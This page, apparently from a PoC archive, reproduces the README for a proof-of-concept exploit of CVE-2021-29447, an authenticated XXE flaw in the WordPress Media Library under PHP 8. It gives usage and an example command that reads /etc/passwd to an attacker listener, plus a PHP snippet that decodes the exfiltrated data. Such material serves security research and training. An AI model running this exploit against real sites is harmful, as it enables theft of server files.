Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1110 CNY

100%

CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source
Associated Vulnerability
Title:WordPress Authenticated XXE attack when installation is running PHP 8 (CVE-2021-29447)
Description:Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.
Description
A proof of concept exploit for a wordpress 5.6 media library vulnerability
Readme
[cve-2021-29447]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447

# CVE-2021-29447 Proof-of-Concept

```
╔═╗╦  ╦╔═╗
║  ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023

═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
```

[CVE-2021-29447]: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.

This script is easy to understand & run and it will automate the steps required to exploit the XXE attack
on the wordpress media library.

## Usage

```
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]

options:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST  your server ip address e.g. 10.0.2.15
  -p PORT, --port PORT  your server port e.g. 1337
  -f FILE, --file FILE  system file to read e.g. /etc/passwd
```

Example:

```
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
```

To decode the base64 use/run the following php snippet:

```php
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
```

```shell
$ php decode.php
```

---

- References:
  - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
  - https://tryhackme.com/room/wordpresscve202129447
File Snapshot

[4.0K] /data/pocs/a8ee33fda630b6096c08d55e0491081933578b85 ├── [ 59] decode.php ├── [2.8K] PoC.py └── [2.2K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →